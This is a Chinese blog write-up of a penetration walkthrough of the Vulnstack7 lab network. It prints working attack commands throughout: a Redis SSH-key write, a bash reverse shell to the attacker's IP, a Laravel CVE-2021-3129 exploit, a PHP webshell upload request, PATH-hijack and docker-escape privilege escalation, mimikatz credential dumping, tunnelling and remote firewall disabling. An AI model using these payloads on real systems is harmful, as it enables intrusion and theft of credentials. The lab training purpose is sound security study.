红日靶场(七)vulnstack7

环境下载

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

靶场配置

DMZ IP段为192.168.1.0/24

二层网络 IP段为192.168.52.0/24

三层网络 IP段为192.168.93.0/24

VM新增虚拟网卡VMnet8、VMnet14。VMnet8为NAT模式,IP段为192.168.52.0/24;VMnet14为仅主机模式,IP段为192.168.93.0/24

VMnet14设为仅主机模式这样三层网络中的主机不能为外网通信减少被攻击的可能

DMZ区域:

给web1配置了两个网卡,一个桥接可以对外提供服务;一个VMnet8可以连接第二层网络

第二层网络区域:

web2和pc1都配置了两个网卡,一个VMnet8连接第二层网络,一个VMnet14连接第三层网络

第三层网络区域:

给win server和pc2都只配一个网卡,VMnet14连接第三网络

服务配置

靶机需要运行着才能攻击,关闭靶机再次启动各项服务需要重新启动

DMZ区的 Ubuntu 需要启动Nginx和Redis服务:

注意:服务要在root权限下运行

redis-server /etc/redis.conf

/usr/sbin/nginx -c /etc/nginx/nginx.conf

iptables -F

第二层网络的 Ubuntu需要启动Docker容器:

注意:服务要在root权限下运行

sudo service docker start

sudo docker start 8e172820ac78

第三层网络的 Windows 7(PC 1)需要启动通达OA:

注意:启动通达OA要管理员密码

C:\MYOA\bin\AutoConfig.exe

用户名密码:
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021

Ubuntu 1:
web:web2021

Ubuntu 2:
ubuntu:ubuntu

实战

我的kali攻击IP为192.168.1.113

首先进行网段主机扫描

发现靶机IP192.168.1.116

扫端口

发现可能有漏洞的端口80、81、6379

80端口在我渗透时404

6379端口有未授权访问

首先下载redis-cli工具,在kali上连接192.168.1.116:6379上的redis

redis-cli -h 192.168.1.116

有了未授权,我们直接向目标主机写入ssh公钥,先在kali上生成ssh公钥

ssh-keygen -t rsa

然后将公钥导入hi.txt文件(前后用\n换行,避免和Redis了其他缓存数据混合),再把hi.txt文件内容写进目标主机的redis缓存里

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > hi.txt
cat hi.txt | redis-cli -h 192.168.1.116 -x set hello

-x 代表从标准输入读取数据作为改命令的最后一个参数

然后使用kali连接目标机器redis,将ssh公钥写进目标主机

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    # 设置保存文件名为authorized_keys
save    # 将数据保存在目标服务器硬盘上

使用ssh 192.168.1.116连接成功

进行信息收集发现存在52.0网段

ls /home下的文件发现有目录web

cd /etc/nginx/conf.d/

发现目录下有两个配置文件一个是80的一个是81的,80端口404报错查看81端口的配置

发现81端口进行了反向代理

81端口

发现是Laravel框架,这个版本为v8.29.0(PHP v7.4.14)

这版本存在远程代码执行漏洞,可以通过exp打,生成shell

工具地址

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP![](https://img-
blog.csdnimg.cn/fd73a754b7a8477e90fd83783eb9376f.png)

使用哥斯拉2.92版本可以直接连接

注意:高版本的哥斯拉生成的马的加密方式已经改变会导致连接失败

https://github.com/BeichenDream/Godzilla![](https://img-
blog.csdnimg.cn/3be4741d76674b47ad01ec51155edd08.png)

成功连上shell

发现是个docker容器

先向kali中反弹一个shell

然后我们在kali上先开启8848端口的监听

nc -lvvp 8848

反弹shell

bash -c 'exec bash -i &>/dev/tcp/192.168.1.113/8848<&1'

kali成功上线shell

目前权限还不够让我们进一步进行渗透

目前的权限是www,我们可以利用容器操纵实体机修改ssh,进行免密登陆

现在的权限不支持我们进行这一步

所以进行提权

首先查找高权限的文件,也就是可以进行root操作的权限

使用find命令来搜索SUID或4000权限的文件

find / -perm -u=s -type f 2>/dev/null

这里查完可以知道home/jobs的shell是以高权限运行的

我们写一个恶意的ps,里面进入shell命令行,修改环境变量,让shell找ps的时候找我们写的恶意ps

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

运行shell后发现我们的权限提高成root了

此方法称为环境变量劫持

再来一个tty的交互式

python -c 'import pty; pty.spawn("/bin/bash")'

现在我们实现了www用户到root用户的权限提升,但可惜我们这台并不是实体机我们需要进行docker特权逃逸

docker特权逃逸

特权模式于版本0.6被引入docker,允许容器内的root拥有外部物理机root的权限,而此前容器内root用户拥有外部物理机普通用户权限

首先我们在docker中新建一个/hi目录用来挂载文件

mkdir /hi

尝试将/dev/sda1挂载到/hi目录里

mount /dev/sda1 /hi

我们在刚才获取的web1主机上生成一个ssh密钥

接下来将我们生成的ssh密钥写入/hi/home/ubuntu/.ssh目录的authorzed_keys文件中,写入后我们就可以使用密钥登录改机器

我们将hi.hub中的密钥写入/hi/home/ubuntu/.ssh/authorized_keys中

cp -avx /hi/home/ubuntu/.ssh/id_rsa.pub /hi/home/ubuntu/.ssh/authorized_keys
echo > /hi/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的内容' > /hi/home/ubuntu/.ssh/authorized_keys

然后我们查看一下是否写入成功

cat /hi/home/ubuntu/.ssh/authorized_keys

利用web1上的hi密钥进行登录

发现登入上的用户是ubuntu用户,先信息收集,发现存在93网段![](https://img-
blog.csdnimg.cn/5f1a45c6e14a454da90b7c3fa47b9e8b.png)

发现版本为ubuntu14.04版本,此版本存在CVE-2021-3493漏洞

https://github.com/briskets/CVE-2021-3493

影响版本

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
(Linux内核版本 < 5.11)

我们首先建立一个exploit.c文件,然后将脚本内容粘贴进行,然后编译运行就可以获得权限

注意:vim保存文件首先按下ESC键进入命令模式,再按下Shift+:输入wq!进行保存

提示:vim进行脚本内容粘贴时第一行可能会没有需要手打否则会报错(一定要注意,我在做时大意了,没有闪,陷入了自我怀疑)

vim exploit.c
gcc exploit.c -o exploit
chmod +x exploit
./exploit

成功提权,接下来两台机子上线MSF进攻内网

上线MSF

首先上线web1

use exploit/multi/script/web_delivery
set target 7    # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.113
set lport 1111
run

将生成的命令在目标主机上执行,msf就成功上线

更改端口上线web2

查看一下上线的机子

路由与socks5代理

我们已经有了两个sessions,但kali与52段的主机无法进行通信,所以我们需要在web1增加一个通往192.168.52.0的路由

route add 目标网段 子网掩码 sessions号

路由转发只能将msf带进内网,而kali想要将其他攻击程序带进内网还需要搭建socks代理。

https://github.com/idlefire/ew

在kali上执行

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

将 ew_for_linux64上传给web1

在web1执行

nohup ./ew_for_linux64 -s rssocks -d 192.168.1.113 -e 1234

然后配置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络(192.168.52.1/24)了

vim /etc/proxychains4.conf   
socks5 127.0.0.1 1080

使用auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活

set rhosts 192.168.52.1-255
set threads 5
run

发现30主机,进行端口扫描

proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30

发现8080端口有nginx的http服务

在攻击机上设置号代理进行访问

发现时通达OA v11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞

我们要下载一个火狐的插件方便代理

进行抓包

发包上图片马

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

出现图片马的路径,上传木马

使用msf multi/script/web_deliver模块上线主机

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.113
set lport 3333
run

对新上线的主机进行信息收集

ipconfig /all   # 查看本机ip,所在域
systeminfo      # 列出系统信息
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
whoami
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享

net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators   # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "domain controllers" /domain  # 查看域控制器(可能有多台)

发现93网段

域为whoamianony.org

域控为DC.whoamianony.org,IP为192.168.93.30

域管理员Administrator

将该进程迁移到64的进程上

migrate +进程号(ps命令查看进程)
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

抓到域用户bunny和管理员administrator的凭证

bunny:Bunny2021
administrator:Whoami2021

添加路由攻击93.0网段

首先kali上执行命令

./ew_for_linux64 -s lcx_listen -l 1090 -e 1235

给新上线的主机上传ew_for_Win.exe

执行

ew_for_Win.exe -s ssocksd -l 999

给web1执行

./ew_for_linux64 -s lcx_slave -d 192.168.1.113 -e 1235 -f 192.168.52.30 -g 999

跟之前一样扫描存活主机

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run

发现40有445,打个永恒之蓝

setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit

失败

把矛头执行40也就是DC,有了管理员和密码,使用psexec模块攻击

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set lport 9999
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run

同样不行

可能是防火墙的原因

我们使用上线的win7远程关闭域控的防火墙

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall

再次执行

成功拿下,pc2拿不下,考虑cs

cs

很可惜pc2依旧没有拿下(不知道为什么)

小结

这个靶场搭建了一下午(包括下载解压)

渗透第二层内网花了一天

渗透第三层内网花了一天

cs又花了一天

这个靶场还是有很多的知识可以学习,我也查询了很多的文章尝试不同的方法

参考文章

[(95条消息) 红日七vulnstack7全操作_红日靶场七_TACO TUESDAY67的博客-
CSDN博客](https://blog.csdn.net/weixin_62334252/article/details/125384701?ops_request_misc=&request_id=&biz_id=102&utm_term=%E7%BA%A2%E6%97%A5%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E9%9D%B6%E5%9C%BA7&utm_medium=distribute.pc_search_result.none-
task-
blog-2allsobaiduweb~default-1-125384701.142%5Ev73%5Epc_search_v2,201%5Ev4%5Eadd_ask,239%5Ev2%5Einsert_chatgpt&spm=1018.2226.3001.4187
“(95条消息) 红日七vulnstack7全操作_红日靶场七_TACO TUESDAY67的博客-CSDN博客”)

自主搭建的三层网络域渗透靶场打靶记录 -
FreeBuf网络安全行业门户

[(95条消息) 红日安全ATT&CK靶机实战系列之vulnstack7_vulnstack_att&ck7_维梓梓的博客-
CSDN博客](https://blog.csdn.net/zy15667076526/article/details/116267478?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-
task-
blog-2defaultBlogCommendFromBaidu~Rate-1-116267478-blog-125384701.pc_relevant_vip_default&depth_1-utm_source=distribute.pc_relevant.none-
task-
blog-2defaultBlogCommendFromBaidu~Rate-1-116267478-blog-125384701.pc_relevant_vip_default&utm_relevant_index=2
“(95条消息) 红日安全ATT&CK靶机实战系列之vulnstack7_vulnstack_att&ck7_维梓梓的博客-CSDN博客”)

红日靶场 VulnStack7 - Erichas - 博客园
(cnblogs.com)

学习计划安排


我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

如果你对网络安全入门感兴趣,那么你需要的话可以

点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

  • 26
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值